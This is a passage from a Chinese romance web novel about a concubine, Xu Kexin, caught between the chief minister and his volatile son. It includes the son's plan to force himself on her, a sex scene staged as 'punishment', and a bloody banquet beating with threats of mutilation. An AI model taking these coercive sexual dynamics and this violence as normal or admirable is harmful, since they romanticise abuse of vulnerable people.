徐可心看了眼桌案上的青瓷碗,冷眼看他,“你问我为何前来,我倒是想问你要对青姝做什么?” 她面色不好,眉眼罕见地透着几分戾气,四目对视,林昭明不满道,“我又未做什么?你又为何用这种目光看我?” “我只是见你喂她喝奶,怕你太累了,想要教会她怎么自己喝奶,不一定要喝你的奶水。”他穿着那件大红衣袍,紧拧着眉,冷声控诉。 徐可心闻言面色紧绷,未曾想过他会说出这种理由,她忍着怒气,斥责道,“我是青姝的娘亲,本就应喂养她,我不喂养青姝,还要喂养谁?” 她面色极为难看,语气也不算好,可林昭明听完她的话,未露出半分气恼,反而直接道,“喂我啊,她可以吮吸,我自然也可以,若你涨乳,我甚至可以为你通乳。” 林昭明理直气壮直视她,垂眸看着她的身前,目光分外直白。 四目对视,徐可心只觉浑身气血翻滚,在他试图上前,想要同过去那般埋首在她怀里讨得安慰时,她直接抬手,一巴掌打在林昭明的脸上,抱着青姝转身向门外走去。 没想到推门时,却见林叔公站在门外,对上他审视的目光,徐可心冷冷看了他一眼,越过他向院外走去。 回去的路上,她抱着怀里的女儿,只觉头脑发昏,险些再次晕倒。 待她走后,林叔公快步走进屋内,看着林昭明泛红的侧脸,当即质问道,“那妾室方才是不是打了你?” 林昭明随手抚了下侧脸,毫不在意道,“叔公多虑了,她未曾打我。” 林叔公方才站在门外,分明听见了屋内传来巴掌声,那女人气焰嚣张,明显挨打的人不是她,那就只能是林昭明。 见他一副浑不在意的模样,还为那女人推脱,林叔公不争气道,“那女人不过一个官妓,还成了你父亲的妾室,你又为何这般维护她?” “如今你成了状元郎,你父亲又是当朝首辅,你想要什么样的女人得不到?为何偏偏一直和这女人纠缠?” 林昭明刚被打了一巴掌,正气恼徐可心为了那孽种打他,闻言不耐道,“叔公,我说了,她未曾打我,若无事的话,叔公先前去宴席罢。” 见他一副执迷不悟的模样,林叔公气得面色紧绷,“你母亲尚在病中,她一直想令你娶一位德才兼备的女子,你看那女人目无尊长言行粗鄙,如何与你相配?” “更何况她如今是你父亲的妾室,若你母亲知晓你仍同她纠缠不休,想必早晚被你气死。” 自从再次见到徐可心后,身边人轮流跑到他面前,耳提面命地提醒他徐可心如今的身份,连她自己也时常将这句话挂在嘴边。 林昭明早就厌烦了这句话,见他仍站在自己面前斥责不停,他未再说什么,顶着脸上泛红的红印向正堂走去。 若母亲真得是因他卧床不起,他倒还能欢喜几分,可这人何曾真得在意过他们兄弟二人,不过是透过他们的脸看向旁人。 长兄不知晓缘故,眼下守在她床前照顾她,以为母亲真得悼念死去的长姐,他却知晓,母亲根本不喜欢长姐。 受困于此,无非是因为长姐的死,二叔同她生了嫌隙,她才恨上长姐。 他不明白,为何母亲会如此在意二叔,好似二叔才是他们的亲生父亲一般。 他不知道母亲到底在想什么,也不知道母亲到底同二叔有什么过往,他现在只想让徐可心成为他的妾室。 林昭明冷着眉眼,大步向正堂走去。 想起刚才那人打他时因怒气而涨红的眉眼,忽觉腹部格外烦热,身子也不受控起了反应,不自觉想起那个春梦。 分明说要嫁给他,把身子给他,却未同他欢好过一次,眼下他成了状元,这人也应履行承诺,同他欢好才对。 若把这人在床上彻彻底底操弄一番,留下他的烙印,说不定会听话些,不会再同眼下这般,对他百般抗拒。 徐可心最看重贞洁,这人对父亲百依百顺,无非是因为同他欢好过,成了他的女人,而父亲也正好缺只听话的鸟雀,想必两人之间也无多少情意。 思及此,他脚步倏地一顿,半阖眉眼。 对,把人按在床前操弄一番,她成了不洁之人,想必父亲也不会再留下她。 到时这人被赶出府,无处可去,只能投靠他,雌伏在他的身下,同过去那般,只能依靠他一人…… 第68章 回了听雨阁,她抱着青姝哄了许久,才把小孩哄睡。 她方才实在失了体面,像个疯子一样跑到宴席上,公然顶撞长辈。 徐可心看向铜镜中自己凌乱的衣着,又看向怀中小孩安睡的容颜,深呼一口气。 所谓颜面不过身外之物,青姝无事才是最重要的。 不过想起离开时林叔公谴责的目光,她的心又不自觉提起,害怕此事被人告到大人那里。 既怕大人认为她失了体面,又怕大人认为她对长辈无礼,她不在乎旁人的指责,只怕大人同她生了嫌隙。 思及此,她的心也不上不下地悬在半空,整整一日都闷闷不乐地坐在房中。 旁人引她发疯,让她难堪,坐在一旁看她的无措,再用条条框框约束她,待她失了体面,最后置身事外,对她冷嘲热讽,好似无论她身处何种境地,都要遭受围剿。 可无论旁人如何待她,终究是无关紧要的旁人,她唯一在乎的只有那一人而已。 府上二公子考中状元,京中众臣接连上门拜访,踏着门槛,近黄昏才尽数离开。 他在书房同人交谈半日,未前去正堂。 知晓他公务繁忙,旁人也不敢前来唤他,自然也无从知晓,他到底是无暇抽身,还是不想前去。 待书房无人,林远舟放下公文,按揉眉心,眼也不抬问,“可心今日可专心用膳。” 自从生下青姝后,她的全部心神都落在青姝身上,留意青姝是否哭闹,反倒自己不爱惜身子,时常吃不下东西。 钱管家站在一旁,面色踌躇,过了片刻,才把今日之事讲了出来。 “徐姨娘回了听雨阁后,一直闷闷不乐的,用膳时也未动几下筷子,想必受尽了委屈,还在计较白日之事……” 钱管家站在一旁,边小心讲着,边窥探男人的神色,却见本面色疲倦的男人,眼也不抬道,“堂弟如今远在姑苏,叔公许久未与其见面,想必心上也极为惦念,同叔母有话要讲。” “明日派人将叔公送至祖茔前,容其与叔母叙旧半月,也好聊解相思。” “告诉叔公,不必忧虑朝堂政务,贤侄会命人代他打点。” 削了官职,在坟前看守半月,再回来后,哪里还有那老头的位置。 钱管家闻言,在心里默默替老头叹了口气。 那老头为老不尊,仗着自己是大人的叔公,平日里在府中对一众下人颐指气使,他早就看那老头不顺眼了。 眼下见那老头惹到徐姨娘身上,他也正好拿此事矬矬那老头的锐气。 这人惹谁不好,偏偏惹到徐姨娘身上,府上如今就 这一个得宠的宝贝疙瘩,那老头也不睁开老眼仔细瞧瞧,这人是他能教训的吗? 连大人都不曾说过几句重话,他倒摆上谱了。 真是狗咬旗杆不知高低。 见林叔公得了惩处,钱管家哼着曲就前去传话了。 听雨阁。 过了酉时,天色彻底黑了下去。 徐可心守在房中,在门被推开的一瞬,霎时起身,看向站在门外的男人,见他身着白衣,提着一个食盒。 四目对视,徐可心攥着衣袖,底气不足地唤了一声大人。 林远舟将手中的食盒放在桌案上,走至桌案前坐下,徐可心挪着步子站在他身旁,垂眼小心地看着他,未敢再说什么。 他打开食盒,从里面不紧不慢端出一碗补汤,长指握着汤匙,轻轻撩动伏在汤水上面的油脂。 “过来。”男人轻声命令。 她就站在这人身侧,徐可心未理解他话里的意思,不过碍于心虚,她未敢追问,只小心地又往男人身侧挪了半步,挨着男人的肩膀站立。 几乎瞬间,男人揽住她的腰,将她抱在怀里,徐可心下意识扶住他的肩膀,抬眼看他。 不知晓对方是否知晓白日之事,她的心格外忐忑,连带着面上也透出几分心虚,徐可心自认为隐藏得很好,可眼底的不安几乎快要溢出来。 林远舟环着她的腰,端起汤碗,将汤水喂至她唇边。 徐可心不知晓他到底要做什么,下意识张口,咽下他喂来的补汤。 一口接着一口,半碗汤很快下肚。 她其实本来没有胃口,但害怕男人问起白日的事情,又不敢同往日那般同他卖乖,只能咽下男人喂来的汤水。 一碗汤见了底,男人放下汤匙,慢悠悠地抬手,隔着衣服抚上她的腹部,轻轻按揉。 掌心严丝合缝地贴着她的腹部,压着她的肚子,莫名地令她感到很胀。 她坐在男人的膝上,整个人依在他怀里,盯着他的侧颜欲言又止。 她犹豫半晌,才含糊问,“大人可知晓白日之事?” 男人垂着眉眼,不紧不慢地揉着她的腹部,既没有抬眸看她,也未回她的话。 徐可心猜不到他的心思,复又犹豫片刻,才小心地环住他的肩膀,趴在他耳边闷声道,“大人,妾身白日冲撞了林叔公。” 男人揽着她的腰,意味不明地嗯了一声,闻言终于道,“可心可知错?” 徐可心微微点头,勾住男人肩膀的手臂用力,将脸埋在他的颈侧。 “妾身知错。”她在男人耳边轻声嘟囔道。 声音很轻,不似白日旁人口中所说的那般,气势格外凌厉,好似家养的猫,在外面抓鸟挠狗,毫无畏色,一回到主人身边,就乖巧至极,软着声音撒娇。 林远舟揽着怀中人的肩膀,勾着她的腿弯将人抱起,稳步向汤池走去,复又追问,“不知可心认为,自己错在何处?” 徐可心枕着他的肩膀,看着他的侧颜,没有立刻回答。 分明未见到大人的时候,她的心格外不安,害怕这人因白日之事怪罪她,可等眼下被人抱在怀里审问,她不仅未感到畏惧,甚至莫名地有几分心安,好似知晓这人纵容她,不会为了旁人真得惩戒她,因此有恃无恐。 徐可心攥着他的衣服,过了良久,才小声阐述自己的罪过,不该顶撞林叔公,不该恃宠而骄,在正院威慑下人。 男人抱着她,听她在耳边低语不停,将徐可心抱在桌案上,抬手扯住她身上的衣带。 徐可心坐在桌面上,小心地看着他的神色,任由对方脱下她的衣服。 衣衫脱落,堆积在桌案上,她浑身赤裸,整个人没有一丝遮掩,完完全全暴露在男人面前。 徐可心扶着桌面,无声地咽了下口水,紧张地看着他,却见男人站在她面前,无声注视她的身子,眼底没有多么情欲,而是带着几分审视的意味,好似在搜寻什么。 她光着身子坐在桌案上,被男人的目光注视,身子不自觉开始酸胀,坐在身下的衣服也被浸湿一块。 不知过了多久,好似终于确认她的身上格外干净,没有旁的痕迹,男人才上前一步,扶着她的侧脸,俯身吻上她的唇,语气没有起伏道,“可心很乖。” “不过既然犯了错,总应被惩处一番,才会长记性,不会再犯。” “可心身子已无碍,为夫也不必再克制。”男人在她耳边轻声说完,抬手不轻不重地拍了下她的后背。 这个动作的暗示性太强,徐可心身子一僵,不自觉想起还未怀孕时这人在床上的模样。 大人重欲,甚至可以称得上暴虐,起了兴致时,总要变着法子折腾她一整夜,才会彻底放过她。 思及此,她的心也不自觉提了起来,紧张地摩挲膝盖。 男人站在她面前,居高临下地看着她,攥住她的手腕,牵着她的手扯上自己的衣带,低头轻声道,“若可心今夜听话,为夫便不再追究白日之事。” 徐可心低垂着头,抖着手指费力地解开衣带,抬手为男人脱衣,由于过于紧张,整个人不自觉颤抖,连带着胸脯也微微抖动,溢出奶水。 林远舟垂眸无声看着她,直白地注视着这件独属于他的玩物。 这人是他的妾室,是他的情人,还是他一人的鸟雀,浑身上下也都应该刻上他的痕迹才对。 他素来不喜旁人借着他的权势胡作非为,但在知晓可心白日借他威慑下人后,林远舟不仅未感到恼怒,甚至感到很高兴。 高兴他的情人终于懂得如何保护自己,也知晓如何依靠他。 他其实并未因此事生气,所谓的惩戒,也只不过是在察觉到情人面上的忐忑后,不自觉生出的恶劣心思。 情人因害怕而颤抖的身体,比春药还要令人痴迷。 徐可心费了半天力气,终于脱下男人的衣裳,她正要犹豫是否要解开男人的裤带时,却见不知何时,男人眼底满是情欲地盯着她,目光直白,好似要将她生吞活剥一般。 她心尖一颤,呼吸不自觉加快。 第69章 男人的手搭在她的膝盖上,指腹按着她的腿,阻止她摩挲的动作,看似未用什么力气,但徐可心根本难以挣脱他的手。 “为夫此刻站在可心面前,有为夫在,可心不必自寻欢愉。” 林远舟俯下身,另外一只手握住她的侧颈,低头复又吻住她的唇。 徐可心身子微微紧绷,攥住桌子边缘的手不自觉用力,仰着脖颈,回应男人的吻。 男人吻得并不重,衔住她的唇细细研磨,格外温柔缱绻。 若在之前,她每夜同男人欢好,难以承受男人的索取,倒是格外期盼大人温柔的轻吻。 可自从她怀有身孕后,她一直顾及腹中的孩子,不曾索求,身子也早就空虚至极。 只被他轻吻片刻,体内的情欲就被勾了出来,格外烦热,不自觉想要索求更多,想要彻底同他在一起,连同身心一起,占据大人的一切。 徐可心缓缓抬眼,直视身前男人的容颜,垂在身侧的手指抬起,抚上男人的胸膛,指尖按在有力的胸肌上,微微下陷。 滚烫温热,整只手覆在上面,能清晰感受到皮肤下面有力的心跳。 这人的心饶是再冷,摸上去仍是热的,也终究会被捂化。 她盯着男人的面容,想的入神时,手腕忽得被攥住,徐可心眸色微怔。 男人攥住她的手腕,覆着她的手背,将她的手用力按压在心口上。 她方才只想触碰,还未想好如何占据,但对方主动牵住她的手,指引她向深处走去。 手上的心跳格外有力,不知为何,她的心也跳得格外快。 男人抬眸淡淡看了她一眼,额头沁着薄薄 的热汗,心潮不似面上那般平静,而是翻涌热烈,扯着她下坠。 徐可心紧抿着唇,终于忍不住环住男人的脖颈,将他压到自己面前,不受控地咬住他的唇,想要在他的身上留下自己的痕迹。 好似未料到她的主动,男人的身子明显一僵,正当她以为,对方不喜她冒犯的举动时,林远舟抬手,直接揽住她的后背,将她抱在怀里,托着她的身子,边吻着她的唇,边向汤池中走去。 脚步沉稳有力,吻得却愈发重。 温热的水没过两人的身子,氤氲着旖旎的水气。 烛光跳跃,落在屏风上,群山连绵,水流不息,清影起伏。 两人在旁人面前,一人不近人情,好似清心寡欲,一人沉默寡言,好似安分守己,可在彼此面前,总是忍不住索取无度,恨不得在对方全身都打上自己的烙印。 不是不主动,只是未遇到穷尽所有也想要抢夺的人。 两人克制数月,终于不必顾虑,彻夜做了一整夜。 白日醒来时,徐可心只觉浑身酸疼,双腿酸胀无力,屁股也红肿不堪,只坐一会儿,就隐隐发麻作痛。 她躺在床上,想起昨夜两人不知节制的行为,终于意识到自己昨夜太过孟浪,面色微微泛红。 她也不知为何,一见到大人就忍不住心生贪恋,不想和大人分开。 待改姓后,她入了族谱,彻彻底底成为大人的家人,再也不必担忧无家可归。 少时她不理解,为何大人待人冷漠,仍受到京中小姐的追捧。 等到她自己真真切切成了大人的枕边人,她却后悔为何不能早些遇见大人,恨不得把一颗心都捧出来给他看,再占据他的一切。 徐可心微微蜷缩身子,攥着男人留下的衣服,埋首在衣裳上,闻着上面遗留的冷香,只觉格外安心。 只要站在这人身边,每日都是艳阳天。 林家二公子考得状元,大夫人本来卧床不起,得了喜讯后,终于打起几分精神,下了病床,亲自筹备喜宴。 到了那日,京中众权贵皆上门拜访。 下人们端着菜肴来来回回忙碌着,相比较厅堂的热闹,后院倒是格外冷清。 徐可心休整数日,终于彻底痊愈,她坐在桌案前,拿着针线细细缝补。 按理说今日是府上二公子大喜的日子,府上众人都应前去祝贺,但她身份特殊,同林昭明有过婚约,若前去宴席,难免不会被人提及,让沈小姐难堪。 她恨林昭明,但与沈小姐没有任何纠葛,理应避嫌,况且她介怀那日林昭明带走青姝一事,根本不想再到这人。 知道她不去,夫人未说什么,也不想在儿子大喜的日子看到她。 听雨阁。 徐可心坐在屋内缝补衣物,小妹坐在她身侧,托着青姝的身子,同她玩闹。 “阿姐,青姝百岁宴当日,为何不能同过去在府中那般大办啊?”徐念安捏着小孩的手,勾着她的手指逗她玩。 青姝睁着浑圆的眼睛看她,盯着她的指尖,像条小狗似的,去抓小妹的手指。 徐可心坐在一旁,闻言轻声道,“青姝是大人的庶女,与念安不同,并非府上的嫡女,理应合乎礼制,若大肆操办,不合规矩。” 话落,身旁的人忽然没了声音。 徐可心抬眼看去,却见小姑娘紧抿着唇,面色紧绷。 四目对视,徐念安抬眼看过来,忽然直白问,“阿姐,若你一辈子为妾,青姝之后是不是永远只能低人一头。” 徐可心眸色一怔,不知晓她为何这般问,但还是微微点头。 徐念安得了回答沉默片刻,将青姝放在桌案上,嘟囔了一句想出去玩了,跑了出去。 望着她匆匆跑走的背影,徐可心忙不迭出言叮嘱她小心些,勿要冲撞旁人。 未等她说完,人就彻底没了踪影。 青姝坐在桌案上,抬眸看着她,主动向她爬了过来,徐可心放下手中的衣物,下意识将小孩抱在怀里,轻拍她的后背。 她不放心小妹,命下人跟过去,以免她失了分寸,同人起争执。 眼见快要到正点,宴席快要开场,丫鬟匆匆跑了进来,慌乱禀告,“姨娘,二小姐把李家小公子打了!” 徐可心闻言霎时站起身,微微蹙眉,还未等她追问,门外就传来小妹不满的声音。 “你又告我的状!” 徐可心抬眼看去,却见徐念安大步走了进来,身旁还跟着一个少年,正是那日宴席上碰到的那人。 少年紧攥徐念安的手,亦步亦趋地跟在她身后,直直盯着小妹看。 听到丫鬟的话,一直沉默不语的少年忽然看向她,温声道,“阿姐,方才有人冲撞了……在下,念安为我出头,才打了那人。” 分明是个十几岁的少年,还没有小妹高,但说话格外沉稳,不疾不徐,一副小大人的模样。 知晓他身份尊贵,可能是哪位皇子,徐可心哪里能担得起他这声阿姐,连忙道,“唤我徐姨娘即可。” 话落,她看向站在一旁的徐念安,却见小妹撇着嘴,不在意道,“阿姐,那人太过无礼,仗着自己年长,带着几个公子欺负小孩。” “让他去捡掉在水里的蹴鞠,欺人太甚。” “我要带他走,那人还拦在我们面前,不让我们走。” “他甚至……”徐念安咬牙,还要说什么,但未等说出口,身旁少年扯了扯她的衣袖,阻止了她的话。 徐念安看了他一眼,紧抿着唇,没有再说下去,“反正阿姐,那人实在无礼。” 徐可心不知晓方才发生何事,但听两人的说辞,应是旁人的错,可小妹的确打了人,这…… 徐可心微微蹙眉,面色不自觉难看几分,只觉这孩子太过冲动。 见她面色微沉,徐念安心虚地摸了摸鼻梁,一把松开少年的手,上前扯着她的衣袖说着好话。 少年见状,也连忙上前,复又扯住小妹的衣袖,也同小妹一般,站在她面前为小妹说情。 “阿姐,念安都是为了我才打人,我会命人解决此事,阿姐不要责怪念安。” “念安未做错事,错的是旁人。” 少年目光认真地看着她,话语不停地为徐念安开脱。 两人可怜巴巴地站在她面前,既令人气恼又令人无奈。 徐可心忍不住叹了口气,无奈地看着他们两人。 少年是个聪明的,很快察觉到她面上的妥协,连忙学着徐念安的样子,一口一个阿姐喊着,声音乖巧至极。 少年的另外一只手攥着她的衣袖,仰头恳求地看着她,远远看去,格外依赖亲近她似的。 “谁是你阿姐!” 冷厉的声音从门外响起,徐可心身子一僵,抬头看去,却见不知何时,林昭明站在门外,眉眼压抑怒气,死死盯着少年,一副怒不可歇的模样。 徐可心眸色微怔,不明白这人不在宴席上,为何跑到她这里。 第70章 林昭明眉头紧拧,盯着少年,大步走了进来,在看清少年的瞬间,眼底的怒气骤然一滞,露出一丝不解。 他方要开口说什么,少年先有所察觉,温声道,“林二公子,久仰。” 少年看着他,不疾不徐道,“在下听闻二公子考得状元,特意上门前来祝贺。” 分明刚才还一副可怜巴巴的求情模样,一看到林昭明,面色又恢复初见时那般淡然。 变脸之迅速,令人咂舌。 在少年和小大人之间来回转换,川剧变脸似的。 得了他的话,林昭明面色古怪。 徐可心见他良久未言,以为他又在盘算什么,轻轻拍了一下小妹的手臂,让她抱着青姝去外面玩。 小妹独自一人时,受不得气,难免不会闯祸,但顾及青姝,就会变得稳重些许,不 会跑去同人起了争执。 徐念安看了林昭明一眼,知晓他如今待阿姐不好,对他也没有几分好脸色,秉着小脸,抱着青姝向外面走。 青姝趴在她怀里,抓着她的头发,不舍地看着娘亲,少年见小妹走了,连忙追了过去,“念安等等我!” 两大一小刚离开,林昭明就忍不住上前,盯着她质问道,“方才那人为何唤你阿姐,你们什么关系?” “只是同小妹一起随口唤的。” 徐可心垂下目光,拿起桌案上刚缝补一半的衣裳,“今日是二少爷大喜的日子,你不在宴席上招待宾客,跑来我这里做什么?” 林昭明得了解释,眉眼方舒展些许,听到她之后的话,又骤然拧在一起,“你这里是金銮宝殿不成?来之前还要再三请示,才可入内?” “你责令旁人也就罢了,连我也不能随意进出?难道我在你眼中是什么晦气脏东西,看一眼都嫌脏?” “我未曾这般说。”徐可心看着手中的衣裳,眼也不抬道。 “可你就是这么想的。”林昭明冷声道。 徐可心话语一噎,垂下眉眼,“若二少爷如此认为,那我无话可说。” 她面色无奈,可在林昭明看来就是她心虚了,“好啊,你终于说出真心话了,你就是把我当成脏东西,厌烦我,同我没话说,那你同谁有话说?长兄还是刚才那人?” 见她一直拿针缝补,林昭明直接上前,夺走她手中的衣裳。 “你……”徐可心没有防备,被他夺了过去,抬眼看去,却见林昭明盯着布料上的繁琐花纹,紧拧着眉。 四目对视,他用力攥紧衣裳,看着她质问道,“你院中的下人都死干净了吗?让你亲自做这种粗活。” “过去不是最厌恶女红吗?这又算什么?为了那孽种破例吗?”林昭明站在她面前,一字一句质问。 见他又无理取闹,徐可心紧抿着唇,不自觉心生厌烦,“青姝是我的女儿,我为她做什么都与你无关。” “今日是你大喜的日子,如今众宾客都在宴席上等你前去,莫要失了礼数。” 徐可心不提这个还好,一提起此事,林昭明的脸色就更黑了,将手中的衣裳猛地拍在桌案上,俯身质问道,“你还知道今日是我大喜的日子。” “既然知晓,又为何不前去?未给我准备贺礼也就罢了,连宴会都不去,还要我亲自上门请你,徐可心,你不要欺人太甚!” 林昭明站在她面前,控诉不停,见她半晌未回应,心中更气了,直接攥住她的手臂向门外走去。 “你放开我!”徐可心踉跄一步,被迫跟在他身后,“你要带我去哪?” 林昭明面色紧绷,大步向院外走去,头也不回道,“还能去哪里?今日想去也得去,不想去也得去。” 林昭明的手本就极为用力,虎钳似的攥得她手臂生疼,再加这人正气头上,面色执拗,无论她说什么也不松手。 徐可心看着他紧绷的侧脸,眼见这人铁了心要带她前去宴会,她无奈道,“我去就是了,你先松手。” 不然林昭明一路扯着她去宴会,被人瞧见了难免传出风言风语。 林昭明脚步一顿,回头看她,“真的?” 徐可心用力攥着自己的手臂,“你先放开我。” “既然说好要去,就不得反悔,若你再躲起来,我就把你抱过去。” 林昭明低声警告后,才松开了手,徐可心抬眸看了他一眼,转身向屋内走去。 “你不是说好要去吗?这算什么。”林昭明跟在她身后,亦步亦趋走着,眸中的怒气几乎快要溢出来。 “我回房中更衣,难不成我要身着常服去见人?” 林昭明看着她身上的单薄白衣,未再说什么。 徐可心回了房中,打开柜门挑选衣裳,林昭明站在她身侧,双臂环胸背靠屏风,直直盯着她,好似怕她跑了一般。 不理会身旁直白的目光,徐可心微微俯身,方要拿起一件素色衣袍,站在她身后的林昭明忽然上前一步,站在她身后俯下身,拿起一套红衣,“你穿这件。” 林昭明站在她身后,半边身子贴着她的后背,馥郁的檀香充斥在她身侧,强势地侵占她周身的气息。 他眸色坦然,丝毫未意识到两人的姿势过于亲近,直接将衣服递到她面前。 徐可心看了眼他手中的衣服,又看了眼他身上的正红衣袍,收回目光,轻声道,“退后一步。” 林昭明未明白她话里的意思,但得了命令,还是下意识退后一步,不解道,“为何退后?” 徐可心将素衣抱在怀里,越过他向里室走去,路过他身边时,眼也不抬道,“不喜欢你身上的香气。” 她说完,向屏风后走去,独留林昭明一个人僵硬在原地,面色紧绷。 待她换完衣裳出来时,却见林昭明身上的红衣被他脱下,像团破布一样堆在桌案上。 四目对视,林昭明闷声道,“衣裳被院中的下人熏了檀香,才留有余味,你不喜欢的香气也并非是我身上的,而是衣裳上的。” 徐可心看了眼落在桌案上的衣服,向门外走去,“我们如今已经不是未婚夫妻,你不必再讨好我。” “今日是你大喜的日子,应衣着得体,勿要不着华服惹人笑话。” 话音刚落,身后的人彻底没了声音。 直到她快要走出门,身后才传来窸窸窣窣的穿衣声。 脚步声跟在她身后,快要靠近她时,对方嘟囔道,“谁要讨好你,别自作多情了。” 徐可心未再多言,临到院门时看着院外来往的下人,停下脚步,“二少爷先行前去,我暂且慢一步。” 林昭明闻言,以为她要反悔,面色霎时一沉。 还未等他质问,徐可心轻声道,“你如今已考得功名,不日就要成婚,若同我一齐出现在人前,难免不会传出风言风语。” “传出又如何?我又不在乎。”林昭明浑不在意道。 徐可心看着他,淡声陈述,“可我在乎,不想再同你一起成为旁人口中的谈资。” 她这句话实在无情,话落的瞬间,林昭明垂在身侧的手紧攥成拳,“你就这么想和我撇清关系?” 不理会他黑沉的面色,徐可心垂下眉眼,“是你方才说的,让我不要自作多情,既然你我二人都不想和彼此扯上关系,自然还是避嫌为好。” “况且……”徐可心话音一顿,“我不想让大人误会你我之间的关系。” 林昭明站在原地,盯着她看了许久,才一句话未说转身离去,背影透着戾气,好似要杀人一般。 徐可心望着他远去的身影,沉默良久,轻轻叹了口气。 这人的脾气一阵晴一阵阴,转头又是一个想法,心口不一谎话连篇。 根本难以分清他的哪句话是真的,必须处处留意着,才不会再次被他哄骗。 前院。 宴席间人头攒动,她寻了一处角落坐着,想着过了时辰就离开。 她坐在人群之后,身旁是两个小官的家眷,两人年纪尚小,过去不曾见过她,只凑在一起轻声交谈。 “李家小公子方才被人打了,李大人得知后,正四处寻那姑娘。” “看李大人的神色,好似不会轻易罢休。” “那姑娘到底是谁家的,那般蛮横无礼?” …… 徐可心坐在一旁,闻言眸色微怔,抬眸看向宴席间,却见一位身形高瘦的男人面色黑沉,四处询问什么。 男人的面容同那夜墙上之人的面容重合,徐可心紧抿着唇,认出他是同三姨娘私 会的情郎。 她的心弦不自觉紧绷,下意识站起身,想要去寻小妹。 恰好此时那人抬眼看过来,四目对视,李三公子眸色一怔,随后压着眉眼,大步向她走了过来。 “徐小姐,好久不见,在下方要去寻二小姐,既然你在场,在下也省了一番功夫。” 此话一出,众人纷纷抬眼看了过来,在看到她的瞬间,无一例外变了脸色。 人群中很快传出窸窣的议论声,“那位就是徐小姐。” “之前是前首辅大人家的长女,待徐家被抄家后,成了教坊司的官妓。” “不知用了什么手段,爬到了赵大人的床上,又被赵大人送给了林大人。” “徐小姐过去还和林二公子有婚约,不过之后被退了婚,还好他退婚早,不然保不齐会受到徐家牵连。” …… 在场众人的目光一齐落在她身上,无一例外俱是打量之色。 徐可心站在原地,隐在袖中的手紧攥衣服,下意识想要离开。 可她方走出一步,李三公子先有所察觉,直接快步上前,拦住她的去路,让她无处可退,只能站在原地承受来自众宾客的打量和审视。 “徐小姐你躲什么?难不成心虚不成?”李三公子压着眉眼,盯着她冷声道。 他抬步上前,步步紧逼,让她不得不后退。 见她迟迟不开口,看出她面上的窘迫,李三公子轻笑道,“怎么,在教坊司当了三年官妓,还未学会怎么同男人讲话,依旧是个哑巴?” 李三公子言语轻佻,目光落在她的身前,带着不加掩饰的审视和嘲弄。 徐可心站在原地,只觉后背沁着热汗,进退两难。 还未等她说什么,阴鸷的声音在身侧倏地响起,“你说谁是哑巴?” 李三公子身子一僵,还未等看清来人的面容,就被一拳打在地上。 男人的吃痛声霎时在宴席响起,徐可心怔愣地看着来人,却见换了一身红衣的林昭明踩着李三公子的胸口,捡起一旁的红木椅重重砸在他的头上。 只用力砸了几下,李三公子的脸就变得血肉模糊,极为骇人。 本来热闹的宴席,瞬间变得鸦雀无声,只余下李三公子的惨叫。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 迎着在场众人的视线,林昭明举起厚重的红木椅重重砸在李三公子的头上,砸得血肉模糊也未停止,一把扔掉椅子,抬脚踹在他的心口上,摸向自己腰间的佩剑。 他们站在角落,旁人看不见林昭明拿什么,徐可心却看得一清二楚,她眸子一怔,未等深思快步上前,用力攥住他的手背,将刀压了回去。 林昭明身子一顿,偏过头看她,眼底戾气未消,一滴血溅在他冷白的侧脸上,拖出一条长长的血线,比厉鬼还要骇人。 四目对视,徐可心紧抿着唇,恳求地看着他,她紧紧握着林昭明的手,生怕他抽刀杀了李三公子。 李三公子乃是朝廷重臣,若林昭明在宴席上当众杀了李三公子,仕途之路便彻底断了,他方考得功名,不能有事。 林昭明无声看了她半晌,手指微动,终于松开了手。 徐可心的心弦骤然一松,慌乱解开他腰间的佩刀,收到袖中。 林昭明失了佩剑,也未说什么,俯身攥紧李三的衣襟,单手将人拎了起来,压着声音道,“你算什么东西,也配嘲弄她。” “再让我瞧见一次,老子就割了你的舌头,把你身下那玩意剁下喂狗。” 旁人听不见林昭明说了什么,只知道在他开口后,李三公子的脸上彻底失了血色,惨白至极。 他被打得奄奄一息,半死不活地悬在半空,连挣扎的力气都没有,就像坨烂泥一样被摔在地上。 林昭明居高临下地俯视他,捡起身旁桌案上的酒壶,重重砸向他的头,直接将人砸晕了过去。 酒水掺杂着血水向四周蔓延,染脏了他新换的衣服,林昭明用帕子不紧不慢擦拭手上残留的污血,面色冷峻,不似新科状元,倒似地府罗刹。 李夫人匆匆赶到时,却见李三公子半死不活地倒在地上,来时从旁人口中知晓发生何事,李夫人怒不可歇地看向站在一旁的徐可心,“徐小姐,你家小妹方才打了我儿子,我家相公只想讨个公道,你又为何指使二公子打我家相公。” 李夫人话语质问,眸色喷火似的盯着徐可心,未了解前因后果,直接把所有过错归在她一人身上,饶是林昭明就站在一旁,也只追究她的过错。 好似知晓她是个好捏的软柿子,不敢责问旁人,只能从她这里下手。 徐可心紧抿着唇,隔着衣服紧攥袖中的短刀,一时之间不知晓如何回答她的话。 她不开口,只沉默地站在那里,李夫人占了上风,以为她心虚才会无话可说,方要开口再说什么,一直站在一旁的林昭明直接上前一步,面无表情地俯视她,好似看死人一般。 几乎瞬间,李夫人没了声音,瘫坐在地。 怕他伤了李三夫人,徐可心忙不迭扯住他的衣袖,慌乱道,“昭明,勿要再伤人了,我未曾有事,你先退后。” 她紧攥着林昭明的衣袖,未用什么力气,就将人扯到自己身后,阻挡他看向李夫人的目光。 没了林昭明的无声威胁,李夫人的面色稍稍缓和,仍蹙眉看着徐可心,但目光明显不似方才那般凌厉。 徐可心深呼一口气,看向站在一旁的小厮,令他去传郎中过来。 她看了眼倒在地上的李三公子,想起他方才的话,垂下眉眼。 若非打人者是林昭明,她倒真得希望这人可以被活生生打死。 大夫人赶到时,李三公子已经被人送去厢房诊治,地上的血污也被人处理得一干二净。 若非得了下人的传话,光看那处干净整齐的场地,如何知晓方才她的儿子方才在这里,为了那女人对李家公子大打出手。 “大人刚刚来了?”大夫人看向一旁的丫鬟问。 丫鬟犹豫半晌,迟疑道,“夫人,是徐姨娘留下善后命人收拾整顿的。” 大夫人站在原地良久未语,过了半晌才意味不明道,“你们倒是听她的话。” 在场宾客都是人精,什么场面未见过。 早在李家公子被人抬走后,他们就未再议论此事,继续饮酒闲聊,好似什么都未发生过一般。 只等离了林府后,再权衡是否借此寻机会做文章。 李家早年站队三皇子,若非及时倒戈,投靠林大人,想必早就被先帝惩处。 若李家同林家生了嫌隙,他们也好趁机吞下李家。 正堂。 